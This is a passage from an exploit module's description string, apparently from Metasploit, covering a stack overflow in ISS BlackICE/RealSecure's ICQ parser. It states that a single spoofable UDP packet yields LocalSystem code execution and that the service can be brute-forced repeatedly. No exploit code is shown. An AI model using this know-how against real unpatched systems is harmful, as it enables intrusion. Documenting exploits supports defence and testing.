			'Description'=> %q{
					This module exploits a stack buffer overflow in the ISS products that use
				the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
				will result in arbitrary code execution as LocalSystem. This exploit
				only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
				address.

				The ISS exception handler will recover the process after each overflow, giving
				us the ability to bruteforce the service and exploit it multiple times.
